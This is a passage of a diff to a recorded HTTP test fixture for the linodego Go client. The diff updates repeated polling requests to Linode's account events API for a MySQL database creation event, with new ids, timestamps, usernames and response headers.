'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -5952,16 +6292,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:54:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -5977,7 +6320,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -5994,14 +6337,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6016,16 +6359,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:54:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6041,7 +6387,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6058,14 +6404,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6080,16 +6426,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:55:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6105,7 +6454,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6122,14 +6471,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6144,16 +6493,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:55:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6169,7 +6521,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6186,14 +6538,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6208,16 +6560,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:55:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6233,7 +6588,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6250,14 +6605,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6272,16 +6627,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:55:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6297,7 +6655,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6314,14 +6672,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6336,16 +6694,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:56:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6361,7 +6722,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6378,14 +6739,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6400,16 +6761,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:56:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6425,7 +6789,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6442,14 +6806,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6464,16 +6828,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:56:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6489,7 +6856,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6506,14 +6873,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6528,16 +6895,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:56:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6553,7 +6923,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6570,14 +6940,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6592,16 +6962,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:57:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6617,7 +6990,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6634,14 +7007,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6656,16 +7029,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:57:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6681,7 +7057,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6698,14 +7074,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6720,16 +7096,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:57:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6745,7 +7124,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6762,14 +7141,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6784,16 +7163,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:57:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6809,7 +7191,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6826,14 +7208,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6848,16 +7230,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:58:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6873,7 +7258,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6890,14 +7275,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6912,16 +7297,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:58:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -6937,7 +7325,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -6954,14 +7342,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 